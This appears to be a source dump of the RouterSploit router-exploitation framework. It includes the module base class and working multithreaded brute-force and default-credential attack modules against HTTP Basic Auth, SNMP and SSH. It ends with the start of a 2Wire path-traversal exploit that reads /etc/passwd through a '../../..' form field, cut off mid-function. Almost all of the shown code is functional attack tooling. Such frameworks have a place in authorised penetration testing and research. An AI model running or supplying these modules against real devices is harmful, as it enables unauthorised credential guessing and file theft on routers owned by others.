├── .gitignore ├── .travis.yml ├── LICENSE ├── README.md ├── requirements.txt ├── routersploit ├── __init__.py ├── exceptions.py ├── exploits.py ├── interpreter.py ├── modules │ ├── __init__.py │ ├── creds │ │ ├── __init__.py │ │ ├── ftp_bruteforce.py │ │ ├── ftp_default.py │ │ ├── http_basic_bruteforce.py │ │ ├── http_basic_default.py │ │ ├── http_form_bruteforce.py │ │ ├── http_form_default.py │ │ ├── snmp_bruteforce.py │ │ ├── ssh_bruteforce.py │ │ ├── ssh_default.py │ │ ├── telnet_bruteforce.py │ │ └── telnet_default.py │ ├── exploits │ │ ├── 2wire │ │ │ ├── 4011g_5012nv_path_traversal.py │ │ │ ├── __init__.py │ │ │ └── gateway_auth_bypass.py │ │ ├── 3com │ │ │ ├── 3cradsl72_info_disclosure.py │ │ │ ├── __init__.py │ │ │ ├── ap8760_password_disclosure.py │ │ │ ├── imc_info_disclosure.py │ │ │ ├── imc_path_traversal.py │ │ │ ├── officeconnect_info_disclosure.py │ │ │ └── officeconnect_rce.py │ │ ├── __init__.py │ │ ├── asmax │ │ │ ├── __init__.py │ │ │ ├── ar_1004g_password_disclosure.py │ │ │ └── ar_804_gu_rce.py │ │ ├── asus │ │ │ ├── __init__.py │ │ │ ├── infosvr_backdoor_rce.py │ │ │ └── rt_n16_password_disclosure.py │ │ ├── belkin │ │ │ ├── __init__.py │ │ │ ├── g_n150_password_disclosure.py │ │ │ ├── g_plus_info_disclosure.py │ │ │ ├── n150_path_traversal.py │ │ │ └── n750_rce.py │ │ ├── cisco │ │ │ ├── __init__.py │ │ │ ├── dpc2420_info_disclosure.py │ │ │ ├── ucm_info_disclosure.py │ │ │ ├── ucs_manager_rce.py │ │ │ ├── unified_multi_path_traversal.py │ │ │ └── video_surv_path_traversal.py │ │ ├── comtrend │ │ │ ├── __init__.py │ │ │ └── ct_5361t_password_disclosure.py │ │ ├── dlink │ │ │ ├── __init__.py │ │ │ ├── dir_300_320_600_615_info_disclosure.py │ │ │ ├── dir_300_320_615_auth_bypass.py │ │ │ ├── dir_300_600_rce.py │ │ │ ├── dir_645_password_disclosure.py │ │ │ ├── dns_320l_327l_rce.py │ │ │ ├── dsl_2640b_dns_change.py │ │ │ ├── dsl_2730b_2780b_526b_dns_change.py │ │ │ ├── dsl_2740r_dns_change.py │ │ │ ├── dsl_2750b_info_disclosure.py │ │ │ ├── dvg_n5402sp_path_traversal.py │ │ │ └── dwr_932_info_disclosure.py │ │ ├── fortinet │ │ │ ├── __init__.py │ │ │ └── fortigate_os_backdoor.py │ │ ├── huawei │ │ │ ├── __init__.py │ │ │ ├── e5331_mifi_info_disclosure.py │ │ │ ├── hg520_info_dislosure.py │ │ │ ├── hg530_hg520b_password_disclosure.py │ │ │ ├── hg630a_default_creds.py │ │ │ └── hg866_password_change.py │ │ ├── ipfire │ │ │ ├── __init__.py │ │ │ ├── ipfire_proxy_rce.py │ │ │ └── ipfire_shellshock.py │ │ ├── juniper │ │ │ ├── __init__.py │ │ │ └── screenos_backdoor.py │ │ ├── linksys │ │ │ ├── 1500_2500_rce.py │ │ │ ├── __init__.py │ │ │ └── wap54gv3_rce.py │ │ ├── multi │ │ │ ├── __init__.py │ │ │ ├── heartbleed.py │ │ │ ├── misfortune_cookie.py │ │ │ ├── shellshock.py │ │ │ ├── tcp_32764_info_disclosure.py │ │ │ └── tcp_32764_rce.py │ │ ├── netcore │ │ │ ├── __init__.py │ │ │ └── udp_53413_rce.py │ │ ├── netgear │ │ │ ├── __init__.py │ │ │ ├── multi_rce.py │ │ │ ├── n300_auth_bypass.py │ │ │ └── prosafe_rce.py │ │ ├── quantum │ │ │ ├── __init__.py │ │ │ └── dxi_privkey.py │ │ ├── shuttle │ │ │ ├── 915wm_dns_change.py │ │ │ └── __init__.py │ │ ├── technicolor │ │ │ ├── __init__.py │ │ │ └── tc7200_password_disclosure.py │ │ ├── ubiquiti │ │ │ ├── __init__.py │ │ │ └── airos_6_x.py │ │ └── zte │ │ │ ├── __init__.py │ │ │ ├── f460_f660_backdoor.py │ │ │ ├── f660_config_disclosure.py │ │ │ └── f6xx_default_root.py │ └── scanners │ │ ├── __init__.py │ │ ├── autopwn.py │ │ └── dlink_scan.py ├── shell.py ├── test │ ├── __init__.py │ ├── test_case.py │ ├── test_completer.py │ ├── test_exploits.py │ ├── test_interpreter.py │ ├── test_modules.py │ ├── test_utils.py │ └── test_validators.py ├── utils.py ├── validators.py └── wordlists │ ├── __init__.py │ ├── defaults.txt │ ├── passwords.txt │ ├── snmp.txt │ └── usernames.txt ├── rsf.py └── tox.ini /.gitignore: -------------------------------------------------------------------------------- 1 | # IntelliJ project files 2 | .idea 3 | out 4 | gen 5 | 6 | # Byte-compiled / optimized / DLL files 7 | __pycache__/ 8 | *.py[cod] 9 | *$py.class 10 | 11 | # C extensions 12 | *.so 13 | 14 | # Distribution / packaging 15 | .Python 16 | env/ 17 | build/ 18 | develop-eggs/ 19 | dist/ 20 | downloads/ 21 | eggs/ 22 | .eggs/ 23 | lib/ 24 | lib64/ 25 | parts/ 26 | sdist/ 27 | var/ 28 | *.egg-info/ 29 | .installed.cfg 30 | *.egg 31 | 32 | # PyInstaller 33 | # Usually these files are written by a python script from a template 34 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 35 | *.manifest 36 | *.spec 37 | 38 | # Installer logs 39 | pip-log.txt 40 | pip-delete-this-directory.txt 41 | 42 | # Unit test / coverage reports 43 | htmlcov/ 44 | .tox/ 45 | .coverage 46 | .coverage.* 47 | .cache 48 | nosetests.xml 49 | coverage.xml 50 | *,cover 51 | 52 | # Translations 53 | *.mo 54 | *.pot 55 | 56 | # Django stuff: 57 | *.log 58 | 59 | # Sphinx documentation 60 | docs/_build/ 61 | 62 | # PyBuilder 63 | target/ 64 | 65 | # VS Code 66 | .vscode 67 | 68 | # virtualenv 69 | venv/ 70 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - "2.7" 4 | 5 | install: 6 | - "pip install -r requirements.txt" 7 | - "pip install pexpect" 8 | 9 | script: "python -m unittest discover" -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2016, The RouterSploit Framework (RSF) by Reverse Shell Security 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 5 | 6 | * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 8 | * Neither the name of RouterSploit Framework nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 9 | 10 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 11 | 12 | The above licensing was taken from the BSD licensing and is applied to RouterSploit Framework as well. 13 | 14 | Note that the RouterSploit Framework is provided as is, and is a royalty free open-source application. 15 | 16 | Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit. 17 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | gnureadline>=6.3.3 2 | requests>=2.9.1 3 | paramiko>=1.16.0 4 | beautifulsoup4>=4.4.1 5 | pysnmp>=4.3.2 -------------------------------------------------------------------------------- /routersploit/__init__.py: -------------------------------------------------------------------------------- 1 | from routersploit.utils import ( 2 | print_error, 3 | print_status, 4 | print_success, 5 | print_table, 6 | print_info, 7 | sanitize_url, 8 | LockedIterator, 9 | random_text, 10 | http_request, 11 | boolify, 12 | mute, 13 | multi, 14 | index_modules, 15 | ) 16 | 17 | from routersploit import exploits 18 | from routersploit import wordlists 19 | from routersploit import validators 20 | from routersploit.shell import shell 21 | -------------------------------------------------------------------------------- /routersploit/exceptions.py: -------------------------------------------------------------------------------- 1 | class RoutersploitException(Exception): 2 | pass 3 | 4 | 5 | class OptionValidationError(RoutersploitException): 6 | pass -------------------------------------------------------------------------------- /routersploit/exploits.py: -------------------------------------------------------------------------------- 1 | from weakref import WeakKeyDictionary 2 | from itertools import chain 3 | import threading 4 | import time 5 | 6 | from routersploit.utils import print_status, NonStringIterable 7 | 8 | 9 | class Option(object): 10 | """ Exploit attribute that is set by the end user. """ 11 | 12 | def __init__(self, default, description="", validators=()): 13 | if isinstance(validators, NonStringIterable): 14 | self.validators = validators 15 | else: 16 | self.validators = (validators,) 17 | 18 | self.default = default 19 | self.description = description 20 | self.data = WeakKeyDictionary() 21 | 22 | def __get__(self, instance, owner): 23 | return self.data.get(instance, self.default) 24 | 25 | def __set__(self, instance, value): 26 | self.data[instance] = self._apply_widgets(value) 27 | 28 | def _apply_widgets(self, value): 29 | for validator in self.validators: 30 | value = validator(value) 31 | return value 32 | 33 | 34 | class ExploitOptionsAggregator(type): 35 | """ Metaclass for exploit base class. 36 | 37 | Metaclass is aggregating all possible Attributes that user can set 38 | for tab completion purposes. 39 | """ 40 | def __new__(cls, name, bases, attrs): 41 | try: 42 | base_exploit_attributes = chain(map(lambda x: x.exploit_attributes, bases)) 43 | except AttributeError: 44 | attrs['exploit_attributes'] = {} 45 | else: 46 | attrs['exploit_attributes'] = {k: v for d in base_exploit_attributes for k, v in d.iteritems()} 47 | 48 | for key, value in attrs.iteritems(): 49 | if isinstance(value, Option): 50 | attrs['exploit_attributes'].update({key: value.description}) 51 | elif key == "__info__": 52 | attrs["_{}{}".format(name, key)] = value 53 | del attrs[key] 54 | elif key in attrs['exploit_attributes']: # Removing exploit_attribute that was overwritten 55 | del attrs['exploit_attributes'][key] # in the child and is not a Option() instance. 56 | return super(ExploitOptionsAggregator, cls).__new__(cls, name, bases, attrs) 57 | 58 | 59 | class Exploit(object): 60 | """ Base class for exploits. """ 61 | 62 | __metaclass__ = ExploitOptionsAggregator 63 | target = Option(default="", description="Target IP address.") 64 | # port = Option(default="", description="Target port.") 65 | 66 | @property 67 | def options(self): 68 | """ Returns list of options that user can set. 69 | 70 | Returns list of options aggregated by 71 | ExploitOptionsAggregator metaclass that user can set. 72 | 73 | :return: list of options that user can set 74 | """ 75 | return self.exploit_attributes.keys() 76 | 77 | def run(self): 78 | raise NotImplementedError("You have to define your own 'run' method.") 79 | 80 | def check(self): 81 | raise NotImplementedError("You have to define your own 'check' method.") 82 | 83 | def run_threads(self, threads, target, *args, **kwargs): 84 | workers = [] 85 | threads_running = threading.Event() 86 | threads_running.set() 87 | for worker_id in xrange(int(threads)): 88 | worker = threading.Thread( 89 | target=target, 90 | args=chain((threads_running,), args), 91 | kwargs=kwargs, 92 | name='worker-{}'.format(worker_id), 93 | ) 94 | workers.append(worker) 95 | worker.start() 96 | 97 | start = time.time() 98 | try: 99 | while worker.isAlive(): 100 | worker.join(1) 101 | except KeyboardInterrupt: 102 | threads_running.clear() 103 | 104 | for worker in workers: 105 | worker.join() 106 | print_status('Elapsed time: ', time.time() - start, 'seconds') 107 | -------------------------------------------------------------------------------- /routersploit/modules/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'fwkz' 2 | -------------------------------------------------------------------------------- /routersploit/modules/creds/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'fwkz' 2 | -------------------------------------------------------------------------------- /routersploit/modules/creds/http_basic_bruteforce.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import itertools 3 | 4 | from routersploit import ( 5 | exploits, 6 | wordlists, 7 | print_status, 8 | print_error, 9 | LockedIterator, 10 | print_success, 11 | print_table, 12 | sanitize_url, 13 | http_request, 14 | boolify, 15 | multi, 16 | ) 17 | 18 | 19 | class Exploit(exploits.Exploit): 20 | """ 21 | Module performs bruteforce attack against HTTP Basic Auth service. 22 | If valid credentials are found, they are displayed to the user. 23 | """ 24 | __info__ = { 25 | 'name': 'HTTP Basic Bruteforce', 26 | 'description': 'Module performs bruteforce attack against HTTP Basic Auth service. ' 27 | 'If valid credentials are found, they are displayed to the user.', 28 | 'authors': [ 29 | 'Marcin Bury ', # routersploit module 30 | ], 31 | 'references': [ 32 | '', 33 | ], 34 | 'devices': [ 35 | 'Multi', 36 | ], 37 | } 38 | 39 | target = exploits.Option('', 'Target IP address or file with target:port (file://)') 40 | port = exploits.Option(80, 'Target port') 41 | 42 | threads = exploits.Option(8, 'Numbers of threads') 43 | usernames = exploits.Option('admin', 'Username or file with usernames (file://)') 44 | passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') 45 | path = exploits.Option('/', 'URL Path') 46 | verbosity = exploits.Option('yes', 'Display authentication attempts') 47 | stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt') 48 | 49 | credentials = [] 50 | 51 | def run(self): 52 | self.credentials = [] 53 | self.attack() 54 | 55 | @multi 56 | def attack(self): 57 | url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) 58 | 59 | response = http_request(method="GET", url=url) 60 | if response is None: 61 | return 62 | 63 | if response.status_code != 401: 64 | print_status("Target is not protected by Basic Auth") 65 | return 66 | 67 | if self.usernames.startswith('file://'): 68 | usernames = open(self.usernames[7:], 'r') 69 | else: 70 | usernames = [self.usernames] 71 | 72 | if self.passwords.startswith('file://'): 73 | passwords = open(self.passwords[7:], 'r') 74 | else: 75 | passwords = [self.passwords] 76 | 77 | collection = LockedIterator(itertools.product(usernames, passwords)) 78 | 79 | self.run_threads(self.threads, self.target_function, collection) 80 | 81 | if len(self.credentials): 82 | print_success("Credentials found!") 83 | headers = ("Target", "Port", "Login", "Password") 84 | print_table(headers, *self.credentials) 85 | else: 86 | print_error("Credentials not found") 87 | 88 | def target_function(self, running, data): 89 | module_verbosity = boolify(self.verbosity) 90 | name = threading.current_thread().name 91 | url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) 92 | 93 | print_status(name, 'process is starting...', verbose=module_verbosity) 94 | 95 | while running.is_set(): 96 | try: 97 | user, password = data.next() 98 | user = user.encode('utf-8').strip() 99 | password = password.encode('utf-8').strip() 100 | 101 | response = http_request(method="GET", url=url, auth=(user, password)) 102 | 103 | if response.status_code != 401: 104 | if boolify(self.stop_on_success): 105 | running.clear() 106 | 107 | print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) 108 | self.credentials.append((self.target, self.port, user, password)) 109 | else: 110 | print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) 111 | except StopIteration: 112 | break 113 | 114 | print_status(name, 'process is terminated.', verbose=module_verbosity) 115 | -------------------------------------------------------------------------------- /routersploit/modules/creds/http_basic_default.py: -------------------------------------------------------------------------------- 1 | import threading 2 | 3 | from routersploit import ( 4 | exploits, 5 | wordlists, 6 | print_status, 7 | print_error, 8 | LockedIterator, 9 | print_success, 10 | print_table, 11 | sanitize_url, 12 | boolify, 13 | http_request, 14 | multi, 15 | ) 16 | 17 | 18 | class Exploit(exploits.Exploit): 19 | """ 20 | Module perform dictionary attack with default credentials against HTTP Basic Auth service. 21 | If valid credentials are found, they are displayed to the user. 22 | """ 23 | __info__ = { 24 | 'name': 'HTTP Basic Default Creds', 25 | 'description': 'Module perform dictionary attack with default credentials against HTTP Basic Auth service. ' 26 | 'If valid credentials are found, they are displayed to the user.', 27 | 'authors': [ 28 | 'Marcin Bury ', # routersploit module 29 | ], 30 | 'references': [ 31 | '', 32 | ], 33 | 'devices': [ 34 | 'Multi', 35 | ], 36 | } 37 | 38 | target = exploits.Option('', 'Target IP address or file with target:port (file://)') 39 | port = exploits.Option(80, 'Target port') 40 | threads = exploits.Option(8, 'Number of threads') 41 | defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') 42 | path = exploits.Option('/', 'URL Path') 43 | verbosity = exploits.Option('yes', 'Display authentication attempts') 44 | stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt') 45 | 46 | credentials = [] 47 | 48 | def run(self): 49 | self.credentials = [] 50 | self.attack() 51 | 52 | @multi 53 | def attack(self): 54 | url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) 55 | 56 | response = http_request("GET", url) 57 | if response is None: 58 | return 59 | 60 | if response.status_code != 401: 61 | print_status("Target is not protected by Basic Auth") 62 | return 63 | 64 | if self.defaults.startswith('file://'): 65 | defaults = open(self.defaults[7:], 'r') 66 | else: 67 | defaults = [self.defaults] 68 | 69 | collection = LockedIterator(defaults) 70 | self.run_threads(self.threads, self.target_function, collection) 71 | 72 | if self.credentials: 73 | print_success("Credentials found!") 74 | headers = ("Target", "Port", "Login", "Password") 75 | print_table(headers, *self.credentials) 76 | else: 77 | print_error("Credentials not found") 78 | 79 | defaults.close() 80 | 81 | def target_function(self, running, data): 82 | module_verbosity = boolify(self.verbosity) 83 | name = threading.current_thread().name 84 | url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) 85 | 86 | print_status(name, 'process is starting...', verbose=module_verbosity) 87 | 88 | while running.is_set(): 89 | try: 90 | line = data.next().split(":") 91 | user = line[0].encode('utf-8').strip() 92 | password = line[1].encode('utf-8').strip() 93 | 94 | response = http_request(method="GET", url=url, auth=(user, password)) 95 | 96 | if response.status_code != 401: 97 | if boolify(self.stop_on_success): 98 | running.clear() 99 | 100 | print_success("Target: {}:{} {}: Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) 101 | self.credentials.append((self.target, self.port, user, password)) 102 | else: 103 | print_error("Target: {}:{} {}: Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) 104 | except StopIteration: 105 | break 106 | 107 | print_status(name, 'process is terminated.', verbose=module_verbosity) 108 | -------------------------------------------------------------------------------- /routersploit/modules/creds/snmp_bruteforce.py: -------------------------------------------------------------------------------- 1 | import threading 2 | from pysnmp.entity.rfc3413.oneliner import cmdgen 3 | 4 | from routersploit import ( 5 | exploits, 6 | wordlists, 7 | print_status, 8 | print_error, 9 | LockedIterator, 10 | print_success, 11 | print_table, 12 | boolify, 13 | multi, 14 | ) 15 | 16 | 17 | class Exploit(exploits.Exploit): 18 | """ 19 | Module performs bruteforce attack against SNMP service. 20 | If valid community string is found, it is displayed to the user. 21 | """ 22 | __info__ = { 23 | 'name': 'SNMP Bruteforce', 24 | 'description': 'Module performs bruteforce attack against SNMP service. ' 25 | 'If valid community string is found, it is displayed to the user.', 26 | 'authors': [ 27 | 'Marcin Bury ', # routersploit module 28 | ], 29 | 'references': [ 30 | '', 31 | ], 32 | 'devices': [ 33 | 'Multi', 34 | ], 35 | } 36 | 37 | target = exploits.Option('', 'Target IP address or file with target:port (file://)') 38 | port = exploits.Option(161, 'Target port') 39 | threads = exploits.Option(8, 'Number of threads') 40 | snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)') 41 | verbosity = exploits.Option('yes', 'Display authentication attempts') 42 | stop_on_success = exploits.Option('yes', 'Stop on first valid community string') 43 | strings = [] 44 | 45 | def run(self): 46 | self.strings = [] 47 | self.attack() 48 | 49 | @multi 50 | def attack(self): 51 | 52 | # todo: check if service is up 53 | 54 | if self.snmp.startswith('file://'): 55 | snmp = open(self.snmp[7:], 'r') 56 | else: 57 | snmp = [self.snmp] 58 | 59 | collection = LockedIterator(snmp) 60 | self.run_threads(self.threads, self.target_function, collection) 61 | 62 | if len(self.strings): 63 | print_success("Credentials found!") 64 | headers = ("Target", "Port", "Community Strings") 65 | print_table(headers, *self.strings) 66 | else: 67 | print_error("Valid community strings not found") 68 | 69 | def target_function(self, running, data): 70 | module_verbosity = boolify(self.verbosity) 71 | name = threading.current_thread().name 72 | 73 | print_status(name, 'thread is starting...', verbose=module_verbosity) 74 | 75 | cmdGen = cmdgen.CommandGenerator() 76 | while running.is_set(): 77 | try: 78 | string = data.next().strip() 79 | 80 | errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( 81 | cmdgen.CommunityData(string), 82 | cmdgen.UdpTransportTarget((self.target, int(self.port))), 83 | '1.3.6.1.2.1.1.1.0', 84 | ) 85 | 86 | if errorIndication or errorStatus: 87 | print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity) 88 | else: 89 | if boolify(self.stop_on_success): 90 | running.clear() 91 | print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity) 92 | self.strings.append((self.target, self.port, string)) 93 | 94 | except StopIteration: 95 | break 96 | 97 | print_status(name, 'thread is terminated.', verbose=module_verbosity) 98 | -------------------------------------------------------------------------------- /routersploit/modules/creds/ssh_bruteforce.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import itertools 3 | import socket 4 | import paramiko 5 | 6 | from routersploit import ( 7 | exploits, 8 | wordlists, 9 | print_status, 10 | print_error, 11 | LockedIterator, 12 | print_success, 13 | print_table, 14 | boolify, 15 | multi, 16 | ) 17 | 18 | 19 | class Exploit(exploits.Exploit): 20 | """ 21 | Module performs bruteforce attack against SSH service. 22 | If valid credentials are found, they are displayed to the user. 23 | """ 24 | __info__ = { 25 | 'name': 'SSH Bruteforce', 26 | 'description': 'Module performs bruteforce attack against SSH service. ' 27 | 'If valid credentials are found, they are displayed to the user.', 28 | 'authors': [ 29 | 'Marcin Bury ', # routersploit module 30 | ], 31 | 'references': [ 32 | '', 33 | ], 34 | 'devices': [ 35 | 'Multi', 36 | ], 37 | } 38 | 39 | target = exploits.Option('', 'Target IP address or file with target:port (file://)') 40 | port = exploits.Option(22, 'Target port') 41 | 42 | threads = exploits.Option(8, 'Number of threads') 43 | usernames = exploits.Option('admin', 'Username or file with usernames (file://)') 44 | passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') 45 | verbosity = exploits.Option('yes', 'Display authentication attempts') 46 | stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt') 47 | 48 | credentials = [] 49 | 50 | def run(self): 51 | self.credentials = [] 52 | self.attack() 53 | 54 | @multi 55 | def attack(self): 56 | ssh = paramiko.SSHClient() 57 | 58 | try: 59 | ssh.connect(self.target, port=self.port) 60 | except socket.error: 61 | print_error("Connection error: %s:%s" % (self.target, str(self.port))) 62 | ssh.close() 63 | return 64 | except: 65 | pass 66 | 67 | ssh.close() 68 | 69 | if self.usernames.startswith('file://'): 70 | usernames = open(self.usernames[7:], 'r') 71 | else: 72 | usernames = [self.usernames] 73 | 74 | if self.passwords.startswith('file://'): 75 | passwords = open(self.passwords[7:], 'r') 76 | else: 77 | passwords = [self.passwords] 78 | 79 | collection = LockedIterator(itertools.product(usernames, passwords)) 80 | self.run_threads(self.threads, self.target_function, collection) 81 | 82 | if len(self.credentials): 83 | print_success("Credentials found!") 84 | headers = ("Target", "Port", "Login", "Password") 85 | print_table(headers, *self.credentials) 86 | else: 87 | print_error("Credentials not found") 88 | 89 | def target_function(self, running, data): 90 | module_verbosity = boolify(self.verbosity) 91 | name = threading.current_thread().name 92 | ssh = paramiko.SSHClient() 93 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 94 | 95 | print_status(name, 'thread is starting...', verbose=module_verbosity) 96 | 97 | while running.is_set(): 98 | try: 99 | user, password = data.next() 100 | user = user.strip() 101 | password = password.strip() 102 | ssh.connect(self.target, int(self.port), timeout=5, username=user, password=password) 103 | except StopIteration: 104 | break 105 | except paramiko.ssh_exception.SSHException as err: 106 | ssh.close() 107 | print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity) 108 | else: 109 | if boolify(self.stop_on_success): 110 | running.clear() 111 | 112 | print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) 113 | self.credentials.append((self.target, self.port, user, password)) 114 | 115 | print_status(name, 'thread is terminated.', verbose=module_verbosity) 116 | -------------------------------------------------------------------------------- /routersploit/modules/creds/ssh_default.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import paramiko 3 | import socket 4 | 5 | from routersploit import ( 6 | exploits, 7 | wordlists, 8 | print_status, 9 | print_error, 10 | LockedIterator, 11 | print_success, 12 | print_table, 13 | boolify, 14 | multi, 15 | ) 16 | 17 | 18 | class Exploit(exploits.Exploit): 19 | """ 20 | Module perform dictionary attack with default credentials against SSH service. 21 | If valid credentials are found, they are displayed to the user. 22 | """ 23 | __info__ = { 24 | 'name': 'SSH Default Creds', 25 | 'description': 'Module perform dictionary attack with default credentials against SSH service. ' 26 | 'If valid credentials are found, they are displayed to the user.', 27 | 'authors': [ 28 | 'Marcin Bury ' # routersploit module 29 | ], 30 | 'references': [ 31 | '', 32 | ], 33 | 'devices': [ 34 | 'Multi', 35 | ], 36 | } 37 | 38 | target = exploits.Option('', 'Target IP address or file with target:port (file://)') 39 | port = exploits.Option(22, 'Target port') 40 | threads = exploits.Option(8, 'Numbers of threads') 41 | defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') 42 | verbosity = exploits.Option('yes', 'Display authentication attempts') 43 | stop_on_success = exploits.Option('yes', 'Stop on first valid authentication attempt') 44 | 45 | credentials = [] 46 | 47 | def run(self): 48 | self.credentials = [] 49 | self.attack() 50 | 51 | @multi 52 | def attack(self): 53 | ssh = paramiko.SSHClient() 54 | 55 | try: 56 | ssh.connect(self.target, port=self.port) 57 | except socket.error: 58 | print_error("Connection error: %s:%s" % (self.target, str(self.port))) 59 | ssh.close() 60 | return 61 | except: 62 | pass 63 | 64 | ssh.close() 65 | 66 | if self.defaults.startswith('file://'): 67 | defaults = open(self.defaults[7:], 'r') 68 | else: 69 | defaults = [self.defaults] 70 | 71 | collection = LockedIterator(defaults) 72 | self.run_threads(self.threads, self.target_function, collection) 73 | 74 | if len(self.credentials): 75 | print_success("Credentials found!") 76 | headers = ("Target", "Port", "Login", "Password") 77 | print_table(headers, *self.credentials) 78 | else: 79 | print_error("Credentials not found") 80 | 81 | def target_function(self, running, data): 82 | module_verbosity = boolify(self.verbosity) 83 | name = threading.current_thread().name 84 | ssh = paramiko.SSHClient() 85 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 86 | 87 | print_status(name, 'process is starting...', verbose=module_verbosity) 88 | 89 | while running.is_set(): 90 | try: 91 | line = data.next().split(":") 92 | user = line[0].strip() 93 | password = line[1].strip() 94 | ssh.connect(self.target, int(self.port), timeout=5, username=user, password=password) 95 | except StopIteration: 96 | break 97 | except paramiko.ssh_exception.SSHException as err: 98 | ssh.close() 99 | 100 | print_error("Target: {}:{} {}: {} Username: '{}' Password: '{}'".format(self.target, self.port, name, err, user, password), verbose=module_verbosity) 101 | else: 102 | if boolify(self.stop_on_success): 103 | running.clear() 104 | 105 | print_success("Target: {}:{} {} Authentication Succeed - Username: '{}' Password: '{}'".format(self.target, self.port, name, user, password), verbose=module_verbosity) 106 | self.credentials.append((self.target, self.port, user, password)) 107 | 108 | print_status(name, 'process is terminated.', verbose=module_verbosity) 109 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/2wire/4011g_5012nv_path_traversal.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_status, 5 | print_error, 6 | print_info, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for path traversal vulnerability in 2Wire 4011G and 5012NV devices. 16 | If the target is vulnerable it is possible to read file from the filesystem." 17 | """ 18 | __info__ = { 19 | 'name': '2Wire 4011G & 5012NV Path Traversal', 20 | 'description': 'Module exploits path traversal vulnerability in 2Wire 4011G and 5012NV devices. ' 21 | 'If the target is vulnerable it is possible to read file from the filesystem.', 22 | 'authors': [ 23 | 'adiaz', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.underground.org.mx/index.php?topic=28616.0', 28 | ], 29 | 'devices': [ 30 | '2Wire 4011G', 31 | '2Wire 5012NV', 32 | ], 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | filename = exploits.Option('/etc/passwd', 'File to read from filesystem') 38 | 39 | def run(self): 40 | if self.check(): 41 | print_success("Target is vulnerable") 42 | 43 | print_status("Sending read {} file request".format(self.filename)) 44 | url = "{}:{}/goform/enhAuthHandler".format(self.target, self.port) 45 | 46 | headers = {u"Content-Type": u"application/x-www-form-urlencoded"} 47 | 48 | data = {"__ENH_SHOW_REDIRECT_PATH__": "/pages/C_4_0.asp/../../..{}".format(self.filename), 49 | "__ENH_SUBMIT_VALUE_SHOW__": "Acceder", 50 | "__ENH_SUBMIT_VALUE_SHOW__": "", 51 | "username": "tech"} 52 | 53 | response = http_request(method="POST", url=url, headers=headers, data=data) 